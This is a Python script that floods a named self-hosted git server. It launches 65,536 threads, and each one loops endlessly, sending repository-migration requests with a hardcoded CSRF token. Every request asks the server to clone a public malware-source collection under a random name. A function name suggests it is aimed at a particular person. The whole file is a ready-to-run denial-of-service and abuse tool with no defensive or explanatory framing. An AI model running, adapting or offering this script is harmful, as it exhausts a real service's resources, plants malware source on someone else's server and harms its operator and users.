import random
import string
import requests
import threading

file_name = "i_kiss_boys.lua"
views = 1000
time = 364
num_threads = 2**16

try:
    file = open(file_name, 'rb')
except Exception as e:
    print(f"Error opening file: {e}")
    file = None

def upload_file(views_value, time_value):
    try:
        if file is None:
            raise ValueError("File is not available for uploading.")

        form_data = {
            'file': file,
            'expiry': views_value + time_value
        }

        fuck = ''.join(random.choices(string.ascii_uppercase + string.digits, k=10))

        response = requests.post(
            'https://git.prop.surf/repo/migrate',
            data={
                '_csrf': 'IgcgpOgy1NmttweBg4FjxtBBqnI6MTcyODU5MjUxMzc3Mjk4MjY1Ng',
                'service': '2',
                'clone_addr': 'https://github.com/vxunderground/MalwareSourceCode.git',
                'auth_token': '',
                'lfs': 'on',
                'lfs_endpoint': '',
                'wiki': 'on',
                'uid': '10',
                'repo_name': fuck,
                'description': fuck
            }
        )

        if response.status_code == 200:
            try:
                json_response = response.json()  # Try parsing JSON
                print("Uploaded: " + json_response['location'])
            except ValueError as e:
                print(f"Error parsing JSON response: {e}")
                #print(f"Response content: {response.text}")  # Print raw response content
        else:
            print(f'Upload failed with status code {response.status_code}')
            #print(f"Response content: {response.text}")  # Print raw response content for non-200 status codes
    except requests.RequestException as e:
        print(f"Request failed: {e}")
    except Exception as e:
        print(f"An error occurred during upload: {e}")

def fuck_soylumin():
    try:
        while True:
            upload_file(views, time)
    except Exception as e:
        print(f"Error in thread: {e}")

threads = []

try:
    for i in range(num_threads):
        thread = threading.Thread(target=fuck_soylumin)
        threads.append(thread)
        thread.start()
except Exception as e:
    print(f"Error starting threads: {e}")
